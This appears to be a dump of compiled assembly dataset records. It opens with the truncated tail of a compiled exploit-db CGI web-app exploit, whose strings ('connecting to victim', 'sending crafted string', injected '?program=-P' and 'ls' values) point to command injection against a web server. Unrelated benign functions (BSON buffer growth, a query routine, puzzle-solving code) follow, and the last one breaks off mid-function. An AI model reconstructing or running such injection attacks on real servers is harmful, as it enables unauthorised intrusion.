x1, l_.str.19@PAGE Lloh63: add x1, x1, l_.str.19@PAGEOFF add x0, sp, #2040 mov w2, #5 bl _strncmp mov x24, #0 cbz x0, LBB0_56 ; %bb.52: cmp w21, #1 b.lt LBB0_56 ; %bb.53: mov x24, #0 add x22, sp, #2040 Lloh64: adrp x20, l_.str.19@PAGE Lloh65: add x20, x20, l_.str.19@PAGEOFF LBB0_54: ; =>This Inner Loop Header: Depth=1 add x8, x22, x24 add x0, x8, #1 add x24, x24, #1 mov x1, x20 mov w2, #5 bl _strncmp cmp x0, #0 ccmp w24, w21, #0, ne b.lt LBB0_54 ; %bb.55: add x8, sp, #2040 add x23, x8, x24 LBB0_56: add x20, x23, #4 Lloh66: adrp x1, l_.str.20@PAGE Lloh67: add x1, x1, l_.str.20@PAGEOFF mov x0, x20 mov w2, #3 bl _strncmp mov w22, #6 cbz x0, LBB0_61 ; %bb.57: cmp w21, #1 b.lt LBB0_61 ; %bb.58: mov x8, #0 Lloh68: adrp x20, l_.str.20@PAGE Lloh69: add x20, x20, l_.str.20@PAGEOFF LBB0_59: ; =>This Inner Loop Header: Depth=1 add x22, x8, #1 add x8, x23, x8 add x0, x8, #5 mov x1, x20 mov w2, #3 bl _strncmp cmp x0, #0 ccmp w22, w21, #0, ne mov x8, x22 b.lt LBB0_59 ; %bb.60: add x8, x23, x22 add x20, x8, #4 mov w22, #6 LBB0_61: strb wzr, [x20] add x8, sp, #2040 add x8, x8, x24 add x22, x8, x22 LBB0_62: ldrb w8, [x22] cbz w8, LBB0_64 ; %bb.63: str x22, [sp] Lloh70: adrp x0, l_.str.23@PAGE Lloh71: add x0, x0, l_.str.23@PAGEOFF bl _printf Lloh72: adrp x0, l_str.26@PAGE Lloh73: add x0, x0, l_str.26@PAGEOFF bl _puts mov x0, x19 bl _close mov w0, #0 b LBB0_66 LBB0_64: Lloh74: adrp x0, l_.str.22@PAGE Lloh75: add x0, x0, l_.str.22@PAGEOFF LBB0_65: bl _printf LBB0_66: ldur x8, [x29, #-88] Lloh76: adrp x9, ___stack_chk_guard@GOTPAGE Lloh77: ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF] Lloh78: ldr x9, [x9] cmp x9, x8 b.ne LBB0_68 ; %bb.67: add sp, sp, #12, lsl #12 ; =49152 add sp, sp, #2896 ldp x29, x30, [sp, #80] ; 16-byte Folded Reload ldp x20, x19, [sp, #64] ; 16-byte Folded Reload ldp x22, x21, [sp, #48] ; 16-byte Folded Reload ldp x24, x23, [sp, #32] ; 16-byte Folded Reload ldp x26, x25, [sp, #16] ; 16-byte Folded Reload ldp x28, x27, [sp], #96 ; 16-byte Folded Reload ret LBB0_68: bl ___stack_chk_fail .loh AdrpLdrGotLdr Lloh2, Lloh3, Lloh4 .loh AdrpLdrGot Lloh0, Lloh1 .loh AdrpAdd Lloh5, Lloh6 .loh AdrpAdd Lloh9, Lloh10 .loh AdrpAdd Lloh7, Lloh8 .loh AdrpAdd Lloh11, Lloh12 .loh AdrpAdd Lloh13, Lloh14 .loh AdrpAdd Lloh15, Lloh16 .loh AdrpAdd Lloh17, Lloh18 .loh AdrpLdrGotLdr Lloh25, Lloh26, Lloh27 .loh AdrpLdrGot Lloh23, Lloh24 .loh AdrpAdd Lloh21, Lloh22 .loh AdrpAdd Lloh19, Lloh20 .loh AdrpAdd Lloh28, Lloh29 .loh AdrpAdd Lloh30, Lloh31 .loh AdrpAdd Lloh34, Lloh35 .loh AdrpAdd Lloh32, Lloh33 .loh AdrpAdd Lloh36, Lloh37 .loh AdrpAdd Lloh38, Lloh39 .loh AdrpAdd Lloh40, Lloh41 .loh AdrpAdd Lloh42, Lloh43 .loh AdrpAdd Lloh44, Lloh45 .loh AdrpAdd Lloh46, Lloh47 .loh AdrpAdd Lloh48, Lloh49 .loh AdrpAdd Lloh50, Lloh51 .loh AdrpAdd Lloh52, Lloh53 .loh AdrpAdd Lloh54, Lloh55 .loh AdrpAdd Lloh56, Lloh57 .loh AdrpAdd Lloh60, Lloh61 .loh AdrpAdd Lloh58, Lloh59 .loh AdrpAdd Lloh62, Lloh63 .loh AdrpAdd Lloh64, Lloh65 .loh AdrpAdd Lloh66, Lloh67 .loh AdrpAdd Lloh68, Lloh69 .loh AdrpAdd Lloh72, Lloh73 .loh AdrpAdd Lloh70, Lloh71 .loh AdrpAdd Lloh74, Lloh75 .loh AdrpLdrGotLdr Lloh76, Lloh77, Lloh78 .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "?-P " l_.str.1: ; @.str.1 .asciz " ls" l_.str.2: ; @.str.2 .asciz "?program=-P " l_.str.3: ; @.str.3 .asciz "?section=-P" l_.str.4: ; @.str.4 .asciz "&topic=w" l_.str.5: ; @.str.5 .asciz "# crafting buffer string ... " l_.str.6: ; @.str.6 .asciz "%20" l_.str.7: ; @.str.7 .asciz "\r\n" .comm _AF_INET,4,2 ; @AF_INET .comm _SOCK_STREAM,4,2 ; @SOCK_STREAM l_.str.9: ; @.str.9 .asciz "# error creating socket.\n" l_.str.10: ; @.str.10 .asciz "# cant resolve the specified hostname: %s\n" l_.str.11: ; @.str.11 .asciz "# connecting to victim... " l_.str.12: ; @.str.12 .asciz "(error)\n# check again %s:%d\n" l_.str.13: ; @.str.13 .asciz "(done)\n# sending crafted string... " l_.str.14: ; @.str.14 .asciz "\n# error while sending the crafted string.!\n" l_.str.17: ; @.str.17 .asciz "<hr>" l_.str.18: ; @.str.18 .asciz "<A" l_.str.19: ; @.str.19 .asciz "<pre>" l_.str.20: ; @.str.20 .asciz "pre" l_.str.21: ; @.str.21 .asciz "PRE" l_.str.22: ; @.str.22 .asciz "# Bad response from the server.\n" l_.str.23: ; @.str.23 .asciz "%s" l_str: ; @str .asciz "(done)" l_str.24: ; @str.24 .asciz "(done)\n# waiting for our call ..." l_str.26: ; @str.26 .asciz "\n" .subsections_via_symbols

AnghaBench/exploitdb/exploits/cgi/webapps/extr_1194.c_main.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function bson_reserve _bson_reserve: ## @bson_reserve .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %rbx pushq %rax .cfi_offset %rbx, -24 movl (%rdi), %ecx movl 4(%rdi), %eax movl %ecx, %edx subl %esi, %edx cmpl %eax, %edx jle LBB0_5 ## %bb.1: movq %rdi, %rbx addl %esi, %ecx .p2align 4, 0x90 LBB0_2: ## =>This Inner Loop Header: Depth=1 addl %eax, %eax cmpl %ecx, %eax jle LBB0_2 ## %bb.3: movl %eax, 4(%rbx) movq 8(%rbx), %rdi cmpq 16(%rbx), %rdi jne LBB0_4 ## %bb.6: movl %eax, %edi callq _malloc movq %rax, 8(%rbx) movq 16(%rbx), %rsi movl (%rbx), %edx movq %rax, %rdi addq $8, %rsp popq %rbx popq %rbp jmp _memcpy ## TAILCALL LBB0_4: movl %eax, %esi callq _realloc movq %rax, 8(%rbx) LBB0_5: addq $8, %rsp popq %rbx popq %rbp retq .cfi_endproc ## -- End function .no_dead_strip _bson_reserve .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function bson_reserve _bson_reserve: ; @bson_reserve .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 ldp w9, w8, [x0] sub w10, w9, w1 cmp w10, w8 b.le LBB0_6 ; %bb.1: mov x19, x0 add w9, w9, w1 LBB0_2: ; =>This Inner Loop Header: Depth=1 lsl w8, w8, #1 cmp w8, w9 b.le LBB0_2 ; %bb.3: str w8, [x19, #4] ldp x0, x9, [x19, #8] cmp x0, x9 b.ne LBB0_5 ; %bb.4: mov x0, x8 bl _malloc str x0, [x19, #8] ldr x1, [x19, #16] ldr w2, [x19] ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload b _memcpy LBB0_5: mov x1, x8 bl _realloc str x0, [x19, #8] LBB0_6: ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .no_dead_strip _bson_reserve .subsections_via_symbols

assembly_file_104116.c

assembly_dataset

.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function perform_query_rate_left _perform_query_rate_left: ## @perform_query_rate_left .cfi_startproc ## %bb.0: testq %rdi, %rdi je LBB0_8 ## %bb.1: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r12 pushq %rbx .cfi_offset %rbx, -48 .cfi_offset %r12, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdi, %rbx movq _R_cnt@GOTPCREL(%rip), %r14 movq _Q_limit@GOTPCREL(%rip), %r15 movq _R@GOTPCREL(%rip), %r12 .p2align 4, 0x90 LBB0_2: ## =>This Inner Loop Header: Depth=1 movq 8(%rbx), %rdi callq _perform_query_rate_left movl (%r15), %eax addl %eax, %eax cmpl %eax, (%r14) jge LBB0_7 ## %bb.3: ## in Loop: Header=BB0_2 Depth=1 movq %rbx, %rdi callq _user_matches testq %rax, %rax je LBB0_5 ## %bb.4: ## in Loop: Header=BB0_2 Depth=1 movl (%rbx), %eax movq (%r12), %rcx movslq (%r14), %rdx leal 1(%rdx), %esi movl %esi, (%r14) movl %eax, (%rcx,%rdx,4) movl 4(%rbx), %eax sarl $8, %eax movslq (%r14), %rdx leal 1(%rdx), %esi movl %esi, (%r14) movl %eax, (%rcx,%rdx,4) LBB0_5: ## in Loop: Header=BB0_2 Depth=1 movl (%r15), %eax addl %eax, %eax cmpl %eax, (%r14) jge LBB0_7 ## %bb.6: ## in Loop: Header=BB0_2 Depth=1 movq (%rbx), %rbx testq %rbx, %rbx jne LBB0_2 LBB0_7: popq %rbx popq %r12 popq %r14 popq %r15 popq %rbp LBB0_8: retq .cfi_endproc ## -- End function .comm _R_cnt,4,2 ## @R_cnt .comm _Q_limit,4,2 ## @Q_limit .comm _R,8,3 ## @R .no_dead_strip _perform_query_rate_left .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function perform_query_rate_left _perform_query_rate_left: ; @perform_query_rate_left .cfi_startproc ; %bb.0: cbz x0, LBB0_8 ; %bb.1: stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov x19, x0 Lloh0: adrp x20, _R_cnt@GOTPAGE Lloh1: ldr x20, [x20, _R_cnt@GOTPAGEOFF] Lloh2: adrp x21, _Q_limit@GOTPAGE Lloh3: ldr x21, [x21, _Q_limit@GOTPAGEOFF] Lloh4: adrp x22, _R@GOTPAGE Lloh5: ldr x22, [x22, _R@GOTPAGEOFF] LBB0_2: ; =>This Inner Loop Header: Depth=1 ldr x0, [x19, #8] bl _perform_query_rate_left ldr w8, [x20] ldr w9, [x21] cmp w8, w9, lsl #1 b.ge LBB0_7 ; %bb.3: ; in Loop: Header=BB0_2 Depth=1 mov x0, x19 bl _user_matches cbz x0, LBB0_5 ; %bb.4: ; in Loop: Header=BB0_2 Depth=1 ldr w8, [x19] ldr x9, [x22] ldrsw x10, [x20] add w11, w10, #1 str w11, [x20] str w8, [x9, x10, lsl #2] ldr w8, [x19, #4] asr w8, w8, #8 ldrsw x10, [x20] add w11, w10, #1 str w11, [x20] str w8, [x9, x10, lsl #2] LBB0_5: ; in Loop: Header=BB0_2 Depth=1 ldr w8, [x20] ldr w9, [x21] cmp w8, w9, lsl #1 b.ge LBB0_7 ; %bb.6: ; in Loop: Header=BB0_2 Depth=1 ldr x19, [x19] cbnz x19, LBB0_2 LBB0_7: ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload LBB0_8: ret .loh AdrpLdrGot Lloh4, Lloh5 .loh AdrpLdrGot Lloh2, Lloh3 .loh AdrpLdrGot Lloh0, Lloh1 .cfi_endproc ; -- End function .comm _R_cnt,4,2 ; @R_cnt .comm _Q_limit,4,2 ; @Q_limit .comm _R,8,3 ; @R .no_dead_strip _perform_query_rate_left .subsections_via_symbols

assembly_file_45667.c

assembly_dataset

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .section __TEXT,__literal16,16byte_literals .p2align 4 ## -- Begin function part1 LCPI0_0: .long 3 ## 0x3 .long 3 ## 0x3 .long 3 ## 0x3 .long 3 ## 0x3 LCPI0_1: .long 2 ## 0x2 .long 2 ## 0x2 .long 2 ## 0x2 .long 2 ## 0x2 .section __TEXT,__text,regular,pure_instructions .globl _part1 .p2align 4, 0x90 _part1: ## @part1 .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r14 pushq %rbx subq $112, %rsp .cfi_offset %rbx, -32 .cfi_offset %r14, -24 movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -24(%rbp) testq %rsi, %rsi je LBB0_1 ## %bb.2: xorl %r10d, %r10d xorps %xmm8, %xmm8 movdqa LCPI0_0(%rip), %xmm9 ## xmm9 = [3,3,3,3] movdqa LCPI0_1(%rip), %xmm10 ## xmm10 = [2,2,2,2] xorl %eax, %eax xorl %r9d, %r9d jmp LBB0_3 .p2align 4, 0x90 LBB0_6: ## in Loop: Header=BB0_3 Depth=1 movdqa -128(%rbp), %xmm6 movdqa -112(%rbp), %xmm0 movdqa -96(%rbp), %xmm11 movdqa -80(%rbp), %xmm1 movdqa %xmm6, %xmm7 pcmpeqd %xmm9, %xmm7 movdqa %xmm0, %xmm4 pcmpeqd %xmm9, %xmm4 por %xmm7, %xmm4 movdqa %xmm11, %xmm7 pcmpeqd %xmm9, %xmm7 movdqa %xmm1, %xmm3 pcmpeqd %xmm9, %xmm3 por %xmm7, %xmm3 por %xmm4, %xmm3 movdqa -64(%rbp), %xmm4 movdqa %xmm4, %xmm7 pcmpeqd %xmm9, %xmm7 movdqa -48(%rbp), %xmm5 movdqa %xmm5, %xmm2 pcmpeqd %xmm9, %xmm2 por %xmm7, %xmm2 por %xmm3, %xmm2 movmskps %xmm2, %ecx testl %ecx, %ecx setne %r8b pcmpeqd %xmm10, %xmm6 pcmpeqd %xmm10, %xmm0 por %xmm6, %xmm0 pcmpeqd %xmm10, %xmm11 pcmpeqd %xmm10, %xmm1 por %xmm11, %xmm1 por %xmm0, %xmm1 pcmpeqd %xmm10, %xmm4 pcmpeqd %xmm10, %xmm5 por %xmm4, %xmm5 por %xmm1, %xmm5 movmskps %xmm5, %ecx testl %ecx, %ecx setne %r11b movl -32(%rbp), %edx cmpl $2, %edx sete %cl cmpl $3, %edx sete %r14b movl -28(%rbp), %ebx cmpl $2, %ebx sete %dl orb %cl, %dl orb %r11b, %dl movzbl %dl, %ecx cmpl $3, %ebx sete %dl orb %r14b, %dl orb %r8b, %dl movzbl %dl, %edx addl %edx, %r9d addl %ecx, %eax incq %r10 testq %rsi, %rsi je LBB0_7 LBB0_3: ## =>This Loop Header: Depth=1 ## Child Loop BB0_5 Depth 2 movq (%rdi,%r10,8), %rdx movaps %xmm8, -48(%rbp) movaps %xmm8, -64(%rbp) movaps %xmm8, -80(%rbp) movaps %xmm8, -96(%rbp) movaps %xmm8, -112(%rbp) movaps %xmm8, -128(%rbp) movq $0, -32(%rbp) decq %rsi movb (%rdx), %cl testb %cl, %cl je LBB0_6 ## %bb.4: ## in Loop: Header=BB0_3 Depth=1 incq %rdx .p2align 4, 0x90 LBB0_5: ## Parent Loop BB0_3 Depth=1 ## => This Inner Loop Header: Depth=2 movsbq %cl, %rcx incl -516(%rbp,%rcx,4) movzbl (%rdx), %ecx incq %rdx testb %cl, %cl jne LBB0_5 jmp LBB0_6 LBB0_7: imull %r9d, %eax jmp LBB0_8 LBB0_1: xorl %eax, %eax LBB0_8: movq ___stack_chk_guard@GOTPCREL(%rip), %rcx movq (%rcx), %rcx cmpq -24(%rbp), %rcx jne LBB0_10 ## %bb.9: addq $112, %rsp popq %rbx popq %r14 popq %rbp retq LBB0_10: callq ___stack_chk_fail .cfi_endproc ## -- End function .globl _part2 ## -- Begin function part2 .p2align 4, 0x90 _part2: ## @part2 .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 testq %rsi, %rsi je LBB1_13 ## %bb.1: movq %rsi, %r15 movq %rdi, %r14 movl $1, %r12d xorl %eax, %eax jmp LBB1_3 .p2align 4, 0x90 LBB1_2: ## in Loop: Header=BB1_3 Depth=1 incq %r12 movq -48(%rbp), %rax ## 8-byte Reload cmpq %r15, %rax je LBB1_13 LBB1_3: ## =>This Loop Header: Depth=1 ## Child Loop BB1_7 Depth 2 ## Child Loop BB1_9 Depth 3 leaq 1(%rax), %rcx movq %rcx, -48(%rbp) ## 8-byte Spill cmpq %r15, %rcx jae LBB1_2 ## %bb.4: ## in Loop: Header=BB1_3 Depth=1 movq (%r14,%rax,8), %r13 movq %r13, %rdi callq _strlen movq %rax, %r9 andq $-2, %r9 movq %r12, %r8 jmp LBB1_7 .p2align 4, 0x90 LBB1_5: ## in Loop: Header=BB1_7 Depth=2 cmpl $1, %ecx je LBB1_12 LBB1_6: ## in Loop: Header=BB1_7 Depth=2 incq %r8 cmpq %r15, %r8 jae LBB1_2 LBB1_7: ## Parent Loop BB1_3 Depth=1 ## => This Loop Header: Depth=2 ## Child Loop BB1_9 Depth 3 testq %rax, %rax je LBB1_6 ## %bb.8: ## in Loop: Header=BB1_7 Depth=2 movq (%r14,%r8,8), %r11 xorl %edi, %edi xorl %edx, %edx xorl %ecx, %ecx cmpq $1, %rax je LBB1_10 .p2align 4, 0x90 LBB1_9: ## Parent Loop BB1_3 Depth=1 ## Parent Loop BB1_7 Depth=2 ## => This Inner Loop Header: Depth=3 movzbl (%r13,%rdi), %ebx movzbl 1(%r13,%rdi), %r10d xorl %esi, %esi cmpb (%r11,%rdi), %bl movl %edx, %ebx cmovnel %edi, %ebx setne %sil addl %ecx, %esi leal 1(%rdi), %edx xorl %ecx, %ecx cmpb 1(%r11,%rdi), %r10b cmovel %ebx, %edx setne %cl addl %esi, %ecx addq $2, %rdi cmpq %r9, %rdi jne LBB1_9 LBB1_10: ## in Loop: Header=BB1_7 Depth=2 testb $1, %al je LBB1_5 ## %bb.11: ## in Loop: Header=BB1_7 Depth=2 movb (%r13,%rdi), %bl xorl %esi, %esi cmpb (%r11,%rdi), %bl setne %sil cmovel %edx, %edi addl %esi, %ecx movl %edi, %edx jmp LBB1_5 LBB1_12: movslq %edx, %rax movb $0, (%r13,%rax) leaq (%rax,%r11), %rsi incq %rsi movq %r13, %rdi callq _strcat jmp LBB1_14 LBB1_13: xorl %r13d, %r13d LBB1_14: movq %r13, %rax addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__literal16,16byte_literals .p2align 4 ## -- Begin function solve LCPI2_0: .long 3 ## 0x3 .long 3 ## 0x3 .long 3 ## 0x3 .long 3 ## 0x3 LCPI2_1: .long 2 ## 0x2 .long 2 ## 0x2 .long 2 ## 0x2 .long 2 ## 0x2 .section __TEXT,__text,regular,pure_instructions .globl _solve .p2align 4, 0x90 _solve: ## @solve .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $136, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -48(%rbp) testq %rsi, %rsi je LBB2_18 ## %bb.1: movq %rsi, %r14 movq %rdi, %r15 xorl %r10d, %r10d xorps %xmm8, %xmm8 movdqa LCPI2_0(%rip), %xmm9 ## xmm9 = [3,3,3,3] movdqa LCPI2_1(%rip), %xmm10 ## xmm10 = [2,2,2,2] movq %rsi, %r8 xorl %r12d, %r12d xorl %r9d, %r9d jmp LBB2_3 .p2align 4, 0x90 LBB2_2: ## in Loop: Header=BB2_3 Depth=1 movdqa -160(%rbp), %xmm6 movdqa -144(%rbp), %xmm0 movdqa -128(%rbp), %xmm11 movdqa -112(%rbp), %xmm1 movdqa %xmm6, %xmm7 pcmpeqd %xmm9, %xmm7 movdqa %xmm0, %xmm4 pcmpeqd %xmm9, %xmm4 por %xmm7, %xmm4 movdqa %xmm11, %xmm7 pcmpeqd %xmm9, %xmm7 movdqa %xmm1, %xmm3 pcmpeqd %xmm9, %xmm3 por %xmm7, %xmm3 por %xmm4, %xmm3 movdqa -96(%rbp), %xmm4 movdqa %xmm4, %xmm7 pcmpeqd %xmm9, %xmm7 movdqa -80(%rbp), %xmm5 movdqa %xmm5, %xmm2 pcmpeqd %xmm9, %xmm2 por %xmm7, %xmm2 por %xmm3, %xmm2 movmskps %xmm2, %esi testl %esi, %esi setne %dil pcmpeqd %xmm10, %xmm6 pcmpeqd %xmm10, %xmm0 por %xmm6, %xmm0 pcmpeqd %xmm10, %xmm11 pcmpeqd %xmm10, %xmm1 por %xmm11, %xmm1 por %xmm0, %xmm1 pcmpeqd %xmm10, %xmm4 pcmpeqd %xmm10, %xmm5 por %xmm4, %xmm5 por %xmm1, %xmm5 movmskps %xmm5, %esi testl %esi, %esi setne %dl movl -64(%rbp), %esi cmpl $2, %esi sete %bl cmpl $3, %esi sete %cl movl -60(%rbp), %esi cmpl $2, %esi sete %al orb %bl, %al orb %dl, %al movzbl %al, %eax cmpl $3, %esi sete %dl orb %cl, %dl orb %dil, %dl movzbl %dl, %ecx addl %ecx, %r9d addl %eax, %r12d incq %r10 testq %r8, %r8 je LBB2_6 LBB2_3: ## =>This Loop Header: Depth=1 ## Child Loop BB2_5 Depth 2 movq (%r15,%r10,8), %rsi movaps %xmm8, -80(%rbp) movaps %xmm8, -96(%rbp) movaps %xmm8, -112(%rbp) movaps %xmm8, -128(%rbp) movaps %xmm8, -144(%rbp) movaps %xmm8, -160(%rbp) movq $0, -64(%rbp) decq %r8 movb (%rsi), %bl testb %bl, %bl je LBB2_2 ## %bb.4: ## in Loop: Header=BB2_3 Depth=1 incq %rsi .p2align 4, 0x90 LBB2_5: ## Parent Loop BB2_3 Depth=1 ## => This Inner Loop Header: Depth=2 movsbq %bl, %rdi incl -548(%rbp,%rdi,4) movzbl (%rsi), %ebx incq %rsi testb %bl, %bl jne LBB2_5 jmp LBB2_2 LBB2_6: imull %r9d, %r12d movl $1, %eax movq %rax, -168(%rbp) ## 8-byte Spill xorl %eax, %eax jmp LBB2_8 .p2align 4, 0x90 LBB2_7: ## in Loop: Header=BB2_8 Depth=1 incq -168(%rbp) ## 8-byte Folded Spill movq -176(%rbp), %rax ## 8-byte Reload cmpq %r14, %rax je LBB2_19 LBB2_8: ## =>This Loop Header: Depth=1 ## Child Loop BB2_12 Depth 2 ## Child Loop BB2_14 Depth 3 leaq 1(%rax), %rcx movq %rcx, -176(%rbp) ## 8-byte Spill cmpq %r14, %rcx jae LBB2_7 ## %bb.9: ## in Loop: Header=BB2_8 Depth=1 movq (%r15,%rax,8), %r13 movq %r13, %rdi callq _strlen movq %rax, %r9 andq $-2, %r9 movq -168(%rbp), %r8 ## 8-byte Reload jmp LBB2_12 .p2align 4, 0x90 LBB2_10: ## in Loop: Header=BB2_12 Depth=2 cmpl $1, %ecx je LBB2_17 LBB2_11: ## in Loop: Header=BB2_12 Depth=2 incq %r8 cmpq %r14, %r8 jae LBB2_7 LBB2_12: ## Parent Loop BB2_8 Depth=1 ## => This Loop Header: Depth=2 ## Child Loop BB2_14 Depth 3 testq %rax, %rax je LBB2_11 ## %bb.13: ## in Loop: Header=BB2_12 Depth=2 movq (%r15,%r8,8), %r11 xorl %edi, %edi xorl %edx, %edx xorl %ecx, %ecx cmpq $1, %rax je LBB2_15 .p2align 4, 0x90 LBB2_14: ## Parent Loop BB2_8 Depth=1 ## Parent Loop BB2_12 Depth=2 ## => This Inner Loop Header: Depth=3 movzbl (%r13,%rdi), %ebx movzbl 1(%r13,%rdi), %r10d xorl %esi, %esi cmpb (%r11,%rdi), %bl movl %edx, %ebx cmovnel %edi, %ebx setne %sil addl %ecx, %esi leal 1(%rdi), %edx xorl %ecx, %ecx cmpb 1(%r11,%rdi), %r10b cmovel %ebx, %edx setne %cl addl %esi, %ecx addq $2, %rdi cmpq %r9, %rdi jne LBB2_14 LBB2_15: ## in Loop: Header=BB2_12 Depth=2 testb $1, %al je LBB2_10 ## %bb.16: ## in Loop: Header=BB2_12 Depth=2 movb (%r13,%rdi), %bl xorl %esi, %esi cmpb (%r11,%rdi), %bl setne %sil cmovel %edx, %edi addl %esi, %ecx movl %edi, %edx jmp LBB2_10 LBB2_17: movslq %edx, %rax movb $0, (%r13,%rax) leaq (%rax,%r11), %rsi incq %rsi movq %r13, %rdi callq _strcat jmp LBB2_20 LBB2_18: xorl %r12d, %r12d LBB2_19: xorl %r13d, %r13d LBB2_20: movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax cmpq -48(%rbp), %rax jne LBB2_23 ## %bb.21: movl %r12d, %eax movq %r13, %rdx addq $136, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB2_23: callq ___stack_chk_fail .cfi_endproc ## -- End function .globl _getInput ## -- Begin function getInput .p2align 4, 0x90 _getInput: ## @getInput .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $24, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 leaq L_.str(%rip), %rsi callq _fopen testq %rax, %rax je LBB3_1 ## %bb.3: movq %rax, %r14 movl $256, %edi ## imm = 0x100 movl $8, %esi callq _calloc movq %rax, %r15 movq $0, -48(%rbp) movq $0, -56(%rbp) leaq -48(%rbp), %rdi leaq -56(%rbp), %rsi movq %r14, %rdx callq _getline xorl %ebx, %ebx cmpq $-1, %rax je LBB3_6 .p2align 4, 0x90 LBB3_4: ## =>This Inner Loop Header: Depth=1 movq -48(%rbp), %r12 movq %r12, %rdi callq _strlen leaq 1(%rax), %rdi callq _malloc movq %rax, %r13 movq %rax, (%r15,%rbx,8) movq %rax, %rdi movq %r12, %rsi callq _strcpy movq -48(%rbp), %rdi callq _strlen movb $0, -1(%rax,%r13) incq %rbx leaq -48(%rbp), %rdi leaq -56(%rbp), %rsi movq %r14, %rdx callq _getline cmpq $-1, %rax jne LBB3_4 LBB3_6: movq %r14, %rdi callq _fclose movq %r15, %rax movq %rbx, %rdx LBB3_2: addq $24, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB3_1: callq _getInput.cold.1 xorl %eax, %eax xorl %edx, %edx jmp LBB3_2 .cfi_endproc ## -- End function .globl _freeInput ## -- Begin function freeInput .p2align 4, 0x90 _freeInput: ## @freeInput .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %rbx pushq %rax .cfi_offset %rbx, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdi, %r14 testq %rsi, %rsi je LBB4_3 ## %bb.1: movq %rsi, %r15 xorl %ebx, %ebx .p2align 4, 0x90 LBB4_2: ## =>This Inner Loop Header: Depth=1 movq (%r14,%rbx,8), %rdi incq %rbx callq _free cmpq %rbx, %r15 jne LBB4_2 LBB4_3: movq %r14, %rdi addq $8, %rsp popq %rbx popq %r14 popq %r15 popq %rbp jmp _free ## TAILCALL .cfi_endproc ## -- End function .section __TEXT,__literal8,8byte_literals .p2align 3 ## -- Begin function main LCPI5_0: .quad 0x412e848000000000 ## double 1.0E+6 .section __TEXT,__text,regular,pure_instructions .globl _main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $40, %rsp .cfi_offset %rbx, -56 .cfi_offset 